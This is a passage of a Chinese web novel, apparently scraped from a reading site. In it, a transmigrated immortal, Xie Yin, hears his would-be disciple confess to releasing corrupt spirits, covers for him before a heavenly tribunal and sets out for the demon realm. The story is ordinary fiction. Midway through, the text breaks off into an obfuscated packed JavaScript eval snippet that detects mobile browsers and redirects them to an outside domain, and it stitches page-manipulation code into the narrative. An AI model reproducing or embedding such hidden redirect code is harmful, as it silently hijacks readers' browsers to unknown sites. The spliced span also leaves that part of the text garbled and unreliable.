“没有!”萧循回答得倒快,“即便仙长罚了,也是弟子无能该罚,这些年来弟子不服管教,未跟随仙长悉心学习,又因怕被同门欺辱而学了些旁门左道,丢了玉衡真人的脸,是弟子的错!真人是最记挂仙尊您的,连弟子偶然拾到仙尊的东西,玉衡真人都会从弟子屋里寻去保存起来,亦是怕弟子坏了仙尊的名声,玉衡真人要打要罚都是为了仙门脸面,当年仙尊既将弟子送与玉衡真人处,弟子理应服从玉衡真人管教。” 这话说得既谦卑又动听,甚至他的目光对上谢因时,仍是一片乖巧与懵懂:“仙尊让弟子做什么,弟子便做什么,送弟子去哪里,弟子便去哪里。” 什么意思,为什么还有点小流浪狗撒娇和责备的意味。 可惜谢因完全不吃这套,只要炉鼎体质不发作,装个把高冷古怪的真人师尊谢因还是手拿把掐的,此时已经狠狠握住高岭之花的命门,又是一派流风回雪、出尘淡漠的高人模样:“这样啊,那为师便顺了你的意,你自己去找兰棹辞坦白吧。” “私通魔界,偷放浊灵,还想祸水东引到晏清司长老身上,萧循,”谢因露出个皮笑肉不笑的表情,眸中如秋水泛涟漪,“年纪不大,装傻的水平倒很高明,谁教你的?” 19.道天司圣 萧循愣了一下,下意识就辩:“弟子没有……” 他这种早已演练过无数次的“下意识”,落到谢因眼睛里,让他更加确定了对萧循的怀疑——这孩子还不知道如今的渡云是穿来的,从前的渡云虽然脾气古怪性子高傲,但似乎相对来说比较单纯,只要他打好万全的腹稿,三言两语就能让渡云信任他。 “别急着反驳我,”可谢因看惯了这些小孩儿耍赖的伎俩,根本不为所动,他坐回座上,有些居高临下地看着萧循的眼睛,但并不责罚的意味,“事情虽是你做的,如果你觉得自己做错了,就认,如果觉得自己没错,也可以不认。” 萧循完全没想到谢因会这样说,张了张嘴,打了满腹的稿子此时竟吐不出字来,有些讶异地看向谢因。 谢因微笑,他上了那么多年班做了那么多年小领导,深知实习生犯错或是想立功弄巧成拙是常有的事,这时候如果一门心思想着怎么罚“公事公办”,通常这些小孩儿也不会听,还会被挂上抖音吐槽公开处刑并收获辞职信一份——但如果虚与委蛇,做个贴心又开明的好领导,清澈的实习生会立刻站队,奉出一颗还未被社会践踏过的真心。 因此,谢因只是笑眯眯地望向似乎心有不甘的萧循,十分循循善诱:“你能让我看到玉衡留在你身上的伤疤,是因为他真的待你不好,你对他怀恨在心理所应当,所以勾结浊灵破坏结界,又到处演戏,想让大家顺水推舟地查到玉衡身上。那日你是不是去了淮宜楼,故意请玉衡喝酒,好让他的账单特别空出一天。” 萧循紧绷着嘴角,有些别扭地微微点了点头。 “很聪明,”谢因笑了,“你打开结界,又在当日请玉衡喝酒以伪造他的‘在场证明’,之后来我这里演戏,有条有理,玉衡真人欺辱你在先,你报复他,也未必做错了。” 这段话让萧循的瞳孔不可置信地缩了一下,他看着谢因那双温和又清明的眼睛许久,又垂下眸,只是小声答了一句:“不是的。” 谢因一愣:“什么?” “不是因为他打我,欺辱我,我才害他。”萧循抬起眼来,不知为何分明是同方才一样的无辜与乖巧,明明方才还让谢因觉得虚伪又演技差,此时的这双眼睛却是诚挚的,“是因为荷包。” 像是透过一对玻璃珠子,就能窥见少年人的真心似的。 “他打我,骂我,哪怕剥了我的皮都可以,仙尊,我抗打,一点也不疼,”萧循睫毛微颤,倔强的小脸忍着眼眶里的一滴泪珠,“可师尊送我的荷包,是我身上最好的东西,他不能拿走……我求他了,他不愿意还给我,可那是我的东西,是师尊送给我一个人的,不是他的。” 谢因心头一滞。 又是这种感觉,谢因微微蹙眉,一手按上心头,这种纠葛着或是心疼或是心动的奇怪的感情,到底是来自他自己还是来自“渡云”,为什么他明明会对这里的每个人起各种身体反应,可对萧循没有。 有的只是干净的,澄澈的,对少年人的…… 心动? 焯!谢因猛地醒过来,锤了锤胸口,试图阻止这种该死的情感萌动,不是哥们,十六岁啊,这还是个孩子啊哥们,牢底坐穿啊哥们! 萧循捏了捏拳头,又松开,似乎下定了什么决心才说:“浊灵是我放的,结界也是我打开的,但不是为了陷害玉衡真人,是为了仙尊……” 他腾挪着膝盖,跪着向前挪了两步,捏住谢因的一片衣摆,一副今天我就是被一巴掌拍死在这儿也要把话说明白的架势:“从我记事起至今,成为仙尊的弟子就是我活在世间唯一的期盼,故而……仙尊说要收此次流光祭的佼佼者为弟子,萧循自知没有门中师兄师姐们出类拔萃,急于求成……是弟子的错,仙尊若要责罚,弟子无可辩驳。” 谢因真是想把脑袋里这个渡云真人原身拎出来问问了,到底给这小子下了什么迷魂汤,能让人家如此情根深种,问题是只种情根还不负责,情债轮到他来还?! “可就像仙尊说的,此事有错,但弟子不觉得自己有错,若再选一次,弟子仍会这样做,”萧循直白地、倔强地看着谢因,“诚如玉衡真人与其他弟子说的那样,弟子卑劣,可只有一点真心,在仙尊这里。” 好家伙,完蛋了这不是,谢因不但心疼,头也开始疼了。 不知为何,他相当不合时宜地想起一段过往。 燥热的盛夏,蝉鸣,那时的谢因十七岁,因为父亲的原因从燕城转学到几百公里外的滨城中学,与北方截然不同的南方夏日黏腻又湿润,上完体育课回来的谢因找纸巾时,在桌洞里发现满满一瓶的星星折纸,折得歪歪扭扭,唯独每颗五角星的尖尖都捋得又平整又干净。 瓶子上没有名字,连一个记号也没有,只有一行许久未见的,熟悉的,来自燕城少年人的字体。 “真心,在这里。” 那是很久前的事了……谢因心想,十六七岁的少年人都会以为真心是天底下最了不起的东西,仿佛会发光,仿佛能打败一切,不论是眼前的萧循,还是从前的那个人。 不过都不要紧了,对惨遭生活风霜刀剑严相逼的牛马谢因来说,真心只能体现在工资卡上,因此谢仙尊仅用了几秒就消化了来自萧循的仰慕与扭曲的爱,端出博导般模棱两可的语气:“既然你觉得自己没错,那你就不用认,为师看来,不论你是为了什么陷害的玉衡真人,一报还一报,不论如何,我都该从头教过你。” 况且剧情设定我怎么也得把你收了,谢因腹诽,不然你小子要是一个想不开当场堕魔我不就嗝屁了! 听见谢因这样说,萧循脸色一变,张口就喊:“师尊!” “你天份不差,根骨也好,这么多年在晏清司也靠自己习得了一身本领。只不过,你的所作所为仍然让扶摇陷入了危机,波及到了无辜之人。你今后作为我的弟子,必要遵从我的道理,我不看重名声,不在乎弟子是否有出息,只一样……” “不要忘记你修炼的本心。” 经年心愿,一朝得偿。萧循几乎要被狂喜砸晕了脑袋。 他不仅不怪他,还愿意收他为徒,这个人…… 这个人…… “这个人”很煞风景地在复盘,并且心说,自己刚才演得还可以吧。 谢果露出一颗毛茸茸地脑袋,无地自容地比了个大拇指。 总算可以歇歇了……萧循自己承认,那么就目前的状况,他应当也不想引狼入室。 要是真的放进来什么不可控的东西,岂不是搬起石头砸自己的脚? 只要接下来跟兰棹辞通个气,清洗浊灵这事儿晏清司有经验,幕后之人已经在自己眼皮底下泪流满面了,估计没什么风浪了,这个狗屁乌龙的事件就可以画个句号。 谢因盘算着,后面就先休息一下,然后跟376号仔细核对一下新的任务,再然后…… 谁知就在此时,院中突生异动,熹微晨光突然似被极高之处的一排高射灯猛烈撞击,十六道金光自云端降落,把晏清司照耀犹如白日,谢因只觉得耳畔一阵隆隆嗡鸣,险些让他跌坐回榻上。 一直在角落里当隐形人的谢果终于发出声音,可惜是尖锐的暴鸣—— “我去,这是来审你的道天司使者?!哥,这是主线剧情!” 日,哪个狗b剧情小推手又来坏事,怎么比在公司加班还累。 …… 云顶之巅,道天司圣的坐骑——神兽青鸾鸟通体翠色,不似妖兽,反而像青玉琉璃精雕玉琢,贵不可言,声若芙蓉泣露。 “渡云真人……你可知罪……” 那根本不是十六道金光,是包裹在金光中的镂空玉柱,齐齐钉在谢因的兰台水榭上,像金相玉质的囚笼。 极威严,极肃穆,而后整座兰台水榭如同坐上了观光电梯,被锁在偌大的金色囚笼中缓缓向上带去,谢因与萧循环顾四周,云雾缭绕之外,金光璀璨。 谢果有些害怕自己笔下写的这玩意儿,贴近谢因一些,小声道:“道天司所在的云顶之巅轻易不开张,一旦开张,就是这位道天司圣得到了神界的谕示,预备干预扶摇各司的事务了。” 谢因看谢果那副打颤的样子,有点好笑:“那么怕,那你写这玩意儿干嘛。” “这你就不懂了,”谢果压低声音,“规则制定的目的在于打破,如果只是单纯写仙界搞银趴那就很无趣,但如果搞银趴的时候随时会有扫黄大队来查,那就刺激很多。” 搞不懂,搞不懂你们产粮太太千变万化的XP。 说话间,道天司已现眼前,碗口一样的云桥倒扣在扶摇诸星屿之上,一千三百六十级台阶,每一步都是穷极一生 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谢因微微眯眼,看来这天道也只能看穿本世界的一切,多轴世界线对它来说还是太超前了——因此,只能看出“渡云真人用因果回溯到了八年前”,但没看出他顶替了原身。 只是「因果」这法器和浊灵的事有什么关系?他明明都已经查清浊灵事件纯粹是萧循干的了。 正思及此,谢因突然见萧循越众而出,傻愣愣地冲天上金光一拜,就要认罪:“鸾羽神使!师尊无辜,浊灵之事皆是……” “浊灵之事,是我的个人问题。”谢因眼疾手快一巴掌糊住萧循的嘴,把这小子往后带了一把。 萧循:“%#@#!@#@¥” 不论这是不是渡云捡了孩子又不管,给他剩下的烂摊子,寻因溯果,都要归咎到他自己身上。好在这次扶摇应对得当,十二仙司及时被自己和兰棹辞……好吧,还有那只神秘的黑猫震慑住了,没有扩大事情的影响。 如果这时候把萧循推出来,这小子的心性……未来还怎么教育! 谢因拧眉瞪了他一眼,回头淡淡地说,“是我考虑到此次要在流光祭选亲传弟子,扶摇弟子们都太过温善,打小儿没见过这魔界的东西,为了考验他们真实的水平,适才出此下策,唔……为了公平起见,也没有报备,是我失策了。” 谢果叹为观止,对着天道使者撒谎还能脸不红心不跳,多有种啊谢仙尊,万古第一人! 萧循还想说什么,可一动,就会被谢因轻轻暗示似的捏住手腕,师尊的体温贴在他冰冷的脉搏上,像一剂定心剂,让他动弹不得。 “至于「因果」,闭关修炼法器失败,以致我遭到反噬、修为散尽,”谢因大约知道天道不会说穿,用词甚至有些大胆,反正这个鸾羽讲话也很人机,“这件事,我认,天道对此可还有什么看法?” 渡云或许是真的爱练剑,或许是真的爱法宝,但他也不会希望看到自己“不人不鬼”的样子。 谢因心说,他没有偶像包袱,这点分量,就由自己背着吧。 也算是“鸠占鹊巢”的一点歉意。 不知道这话是不是把道天司圣的CPU干烧了,过了好一会儿,她才再次开口:“浊灵之事,已由兰棹辞处理完善,算你将功折罪。至于「因果」之祸,你已自食恶果。尔若仍一意孤行、不知悔改,六界大乱,生灵尽灭,你可承担得起吗?” 谢因心说其实他也说了不算,他只是个倒霉催的借尸还魂打工人。 “神使既然传我过来,不如开门见山,”谢因真的是很烦这种兜兜转转不说人话的方式,这种聊天录音拿去打官司都会被判定为“证据不足”,于是他率先开口了,“我可以负责这个ca……项目的清尾工作,只是不知神使想让我怎么做。” 这次鸾羽的CPU处理很快:“天道慈悲,可以允许你戴罪立功,寻回因果碎片,修补法器,上交道天司,免你镇天碑雷劫刑罚。” 这可是他见过最像NPC的家伙了。只要对话关键词正确,她倒是真不在乎你的态度,像个也很想下班的程序。 谢果跳起来,窜到谢因耳边:“这部分剧情没错!然后你就可以离开仙界,带着萧循云游六界找回法器碎片啦!” 20.敢教新日 剧情NPC在触发主线剧情时,一般会把恩怨纠葛全然放下,哪怕前一秒还在“危言耸听”地恐吓谢因,下一瞬间又春风化雨,赏罚分明了。 谢因了然,恐怕这个世界要运转下去,他的主线任务还必须得做,故事剧情也要照旧发展,大方向没变,只是谢因不必再被什么大妖巨魔掳去当个娈.宠,还要费尽心思你逃他追,从某种程度来说,也算步入“正轨”。 道天司既下谕示,扶摇十二仙司自然没有二话,密宗司长司甚至没等谢因编个理由把谢果留住,便以“此子根骨奇佳办事伶俐仙尊既然爱重不如让带她历练历练”为由,把谢果整个儿打包丢走,扫地出门了。 只是自从淮宜楼之变,到道天司现身“审判”,那只黑猫再也没现身过,不知是不是趁着流光祭结束跟着原身的族群一起离开了,还是有意躲着谢因。 启程定在第二日,除去游历六界寻找因果碎片,兰棹辞给他们找了第二个活儿。 “此前一直是由玉衡负责与妖界的务净司打交道,你既和他在淮宜楼大打出手,这人内伤不轻,已经自请除去长老之位,镇守扶摇结界了。” 务净司就是先前376号提过的,仙界在六界各地分布的“扫黑除恶办事处”。 ……谢因点头,心中对玉衡真人的结局颇有微词,这人改邪归正地是不是太随便了点。 剧情需要浪荡时他就浪荡,没了浪荡的理由就清心寡欲当和尚,NPC的命运还真是非常草率啊。 兰棹辞见谢因疑窦,只好解释说:“原本不欲知会你……呃,不知为何,听说他现在对妖灵恨之入骨,尤其对猫妖过敏。还发了毒誓要潜心修炼再来向你挑战,取代你的地位让晏清司威震六界……啧。” 说到此处,兰棹辞面色不善,冷笑一声:“晏清司若是指望他出人头地,那我也别干了。” 谢因莞尔。 就在此时,好久不见的千禧年铃声热闹地想起,兰棹辞的冷笑还停在脸上便被按了暂停键,几秒后,376号打着哈欠的声音赫然出现。 “恭喜宿主!第一阶段任务顺利完成了呐!” “呦,好久不见,”谢因冷冷开口,“难为您老人家还记得我,这么长时间掉线我还以为你终于被开除了呢。” “马尔代夫度假岛十日游,一些优秀员工的奖励,谁让我负责的主角这么靠谱呢,我怎么舍得把你交给别人带呢?少很多奖金好不好,”376号一点也不觉得自己失职,还不忘顺嘴拍一记谢因的马屁,“我来看看大主线任务……恭喜宿主查明流光祭浊灵入侵的真凶——扶摇性缘脑一号兰棹辞修复完毕,性缘脑二号玉衡修复完毕——支线收徒任务完成,支线隐藏身份完成。” “不错!可以出发进入下一个主线了!” 谢因琢磨了一下376号的话,之前他说过自己的主线之一就是“修复本世界所有人的性缘脑”,原来是这个意思……兰棹辞和玉衡都在他的影响下变成了扶摇卷王员工,好么,原来治疗恋爱脑还能使用物理大棒,看来自己修复灵脉找回修为也是势在必行。 种地、克服火力不足恐惧症简直是中国人骨子里与生俱来的东西啊…… 376号清了清嗓子,一面荧光屏又一次在谢因面前展开:“现在发布宿主的第二项主线任务:请前往妖界查明妖界异动,找到第一片【因果】碎片。” “异动?” 376号并未做多解释,只是打了个响指,时间线继续走动,恰好听到兰棹辞说:“位于妖界丽都的务净司,前些日子给扶摇传来了一条讯息,但是玉衡喝酒误事,并没有呈送给我过目。” 谢因敏锐觉察兰棹辞神色有异,先开口问:“妖界也有浊灵异动?” “不确定,但确实不太平,”兰棹辞道,“螣蛇一族,似有吞并其他两族,统一妖界的意思。” 谢因并不清楚螣蛇一族在妖界什么地位:“妖界既然还没有统一,没准儿几方势力还在割据,一直不停火恐怕不利生产,有强势种族想要统一,好像也不是坏事?” 分久必合合久必分,但不管怎么样 ,历史的经验告诉我们,还是大一统王朝里人民的日子比较安定。 兰棹辞摇了摇头:“妖界的主人一向是上古龙神血脉,只是久遁不出,恐怕才让其他人起了心思,妖界内斗晏清司管不着,我只是担忧……流光祭之时,浊灵能够入侵扶摇,固然有内奸放纵的缘由,更是因为九荒魔族蠢蠢欲动,浊灵变得更强了。 说到内奸,兰棹辞已经得知结界被破坏的实情,但鉴于谢因把事情压了下来,暂时没有对萧循发难:“你真的要收萧循做弟子?他做出那样的事情……” “正是因为他做出那样的事情,我才要把他放在身边,既然是我捡来的,我负责到底,”谢因略解释了一下,不想让刚刚治好脑子的兰棹辞掺和进这事儿里面来,而是更加关心妖界的动态,“你是担心螣蛇一族与魔族勾结,适才有恃无恐。” “既然你这么说,就把他交给你吧,”兰棹辞眉心紧皱,满脸忧国忧民地叹道:“扶摇不能继续内斗,六界需要扶摇扶正秩序。师弟,道天司此番令你下界,恐也有重新建立扶摇威信的意思,万万不可轻忽怠慢。” 这话越听越红,拿到任何大会上讲话都没问题,谢因腹诽,比政委还政委的人格出现了啊。 谢因顶着一脑门黑线应了下来:“我知了,师兄可还有什么要嘱咐的吗?” “倒是还有一事……” 谢因:……不知道你们仙界什么规矩,但在我们牛马界有一个不成文的规定,一般当对方问”还有别的事“吗的时候,一般是逐客令的意思。 可惜这个老古板不懂,谢因听得脑袋发胀,想死。 老古板满脸诚挚地从袖中掏出一个漂亮的钱袋:“我这里还有些私产,钱不多,但师弟行走下界,恐怕还是趁些在身上方便。” 谢因又活了过来。 没想到兰棹辞掏出来的不是什么金棵子银锭子,除了一叠什么字符都有的符咒,还有一袋沉甸甸的灵珠。 通体晶莹剔透,隐隐流光溢彩。 这东西看着不便宜啊。 谢因捏着一颗灵珠左右打量:“这是什么?硬通货?” 兰棹辞笑得爹味儿十足,但谢因确实很想立刻喊一声爹:“六界没有统一的交易方式,但是灵珠必然在哪儿都给得出去,你……万事小心。” 谢因千恩万谢地收了钱,临走前又突然想到什么,叮嘱兰棹辞:“对了师兄,我那只黑猫灵宠,前几日不见了,若师兄之后见到他,替我留意一番。” 兰棹辞应了,只是一想起那小猫的事情,脸色看着不太好:“那黑猫若是来自丘原,这个时候也没准儿已经回了老家,我这儿还有一些符,里面存着我的灵力,可以应急使用,这个是用来传讯的,这个是用来找人的……” 这次不爹了,这次是真妈啊! 交代完这一切,谢因方才抽出空闲回到晏清司的员工宿舍,来理会一直在房里焦急等他的萧循。 少年换了一身干净的衣裳,潦草的几件衣服,用一块破布包在一块儿背在身后,就是他所以的行囊了——大抵是少年人对扶摇的记忆实在不大好,听到能离开扶摇游历六界,萧循精神抖擞,脸上的表情都生动了几分。 “师尊!” 哦,谢因这下有了实感,自己方才在道天司面前已经算是彻底认下了这徒弟,新鲜热乎的亲传弟子。 看萧循手里还提着把缺了好几个口的破刀,谢因这个当师父的倏忽想起,八年后他见到萧循,那人背了一把刀,看其珍爱程度,估计是渡云真人所赠的。 他就这么认了萧循做徒弟,好像太过随意了,缺了点仪式感…… 这么想着,萧循却直挺挺朝他跪了下来,开口的声音微微沙哑: “师尊!明明是弟子有错,为何要替我在道天司面前周旋,弟子愿意承担私开结界、祸乱扶摇的罪名。” 听起来好正直,好像那种早年小说武侠里的正派角色会说的台词,但是谢因一直觉得这种说话方式非常古风小生,甚至有一丝幽默。 于是谢因也学着他的方式干巴巴道:“我既已在众人面前认了你做亲传弟子,你做与我做有什么分别?” 何况这破剧情非要把锅甩给我,难保你认下来之后不会横生枝节,那还不如把损失缩减到可控范围内,起码现在他是主动前往妖界接触因果碎片,而非被迫。 尽管萧循身上疑团重重,但现下么…… 谢因倒是很乐观地想,走一步看一步吧。 但是现在就这么个小徒弟明晃晃跪在自己跟前,他是不是应该顺手给点什么?八年后那把刀也不知道从哪儿来的,现在跑去篁歧司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893784|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人要么?是不是有点丢人? 萧循哪知道谢因还在纠结拜师礼送点什么,眼眶瞬间红了个透:“弟子谨记,未来定然潜心修炼,一切听从师尊教诲。” 完了完了完了,这下真得给点什么东西了。 可惜渡云是个穷b剑修,结果为了炼那个叫因果的法器,还把自己的本命佩剑震成了七片,至今都没收回来。 于是他只能有些尴尬地扯道:“你既拜入我门下,自然该给你一份拜师礼,为师需要去准备一下,启程时给你……咳,你若在扶摇还有些未尽之事,尽快去做,明日启程前往妖界,不要迟到。” 萧循喜道:“是!” 打发走了萧循,把跟小姐妹抱头痛哭的谢果拎回来,勒令她收拾行李,谢因则独自去了水月洞天。 黑猫仍然一无所踪。 也不知是否有些猝不及防的离别愁绪,谢因叹了口气,独自在水月洞天里翻找起来。 自他醒来,一连串的事情迫着他不停地奔走,一刻也不得喘息,如今有些放松的时间,他想来找旧日渡云原身留下来的东西。 一地狼藉,最终被他一点一点归拢得当,各归其位。 渡云像一片影子,什么都没给他留下。 人人趋之若鹜,又不明其道的法宝,莲片莹然紫意,却了无生机。 谢因不知是在问自己,还是在问心:“你为什么执着于它?它究竟能做到什么?” 谢因触碰到莲心,指尖却像被小刀扎了一下,微微一痛,一道流光闪瞬即逝,隐没于莲瓣金纹,仿佛有一瞬间的呼吸。 一阵暖流顷刻汇入四肢百骸,很像黑猫为他渡入真气的感觉,却更圆融。 原本寂寂干涸的丹田,似有一线真气流淌。 像枯枝绽出新芽。 他想到自己要送萧循点儿什么了。 …… 从扶摇前往丘原很是便捷,仙界有法宝名叫水镜,可以将渡过水镜之人精准投放的链接处的下界。扶摇在各界皆设有水镜,只是水镜通道凶险,布置会被传送到下界什么位置,穿越水镜的人还有各种不良反应,很像辄待升级改造的任意门。 谢因比兰棹辞萧循谢果等人迟来一步,手里捧着两本薄书。 兰棹辞见谢因眼里疲惫不减,步态却轻盈不少,有些意外。 “你的灵脉……” “有些因祸得福,找到了一点修复灵脉的方法,只是还需要实践,”谢因没多说,把其中一本薄书递给兰棹辞,“我昨夜偶有所得,师兄若要管理扶摇,不妨一看。” 谢果偷摸看了一眼,封皮上是他哥俊逸的简笔字,挥斥方遒地写了《管理学》三个大字。 兰棹辞刚要拿,谢因又往后收了收:“这可不白给,我想让师兄帮我留意一把刀,好像是是叫‘问天’……” 谢因把萧循那把刀的形状、色泽、模样大致描述了一通,见兰棹辞答应,这才把《管理学》交到人手里。 另一本自然是给了萧循,只见这人难得有点不好意思、佯作喉咙发痒:“一时情急,寻不到好刀,回头补给你,这本书对你这个年纪的小孩儿大有裨益,权且当做拜师礼,你先参悟,看不懂的地方再来问我。” 谢果凑过来揶揄,压低了声音:“哥,你丫不会给人家写了一本中小学生行为规范之类的东西吧!哄小孩归哄小孩,这可是我的男主角,那能是一般小孩吗?!” 见谢果想看,萧循却捂得更严实,眼见这俩活宝有原地打一架的意思,兰棹辞只好把他俩一手一个地扔进了水镜。 “刀我可以替你留意,不过你写了哪本功法给他?你收他时日尚短,未了解其根骨与善用之前,别贸然……” 谢因打了个哈欠摆摆手:“不是什么功法,是一本诗词,多看看有助于心胸开阔……我当年穷困潦倒憋不出论文……我意思是,瓶颈期迟迟突破不了的时候总看,很有些个人体悟。” 水镜一张一收,又把一人吞没。 谢因也消失在兰棹辞面前。 太好奇了!堂堂扶摇十二仙司之首竟然试图用仙法看看他师弟究竟给了萧循什么奇书,可惜水镜传送速度太快,也只草草看见两句,大致是—— 雄关漫道真如铁,而今迈步从头越。 从头越,苍山如海,残阳如血。 第一卷 一梦扶摇完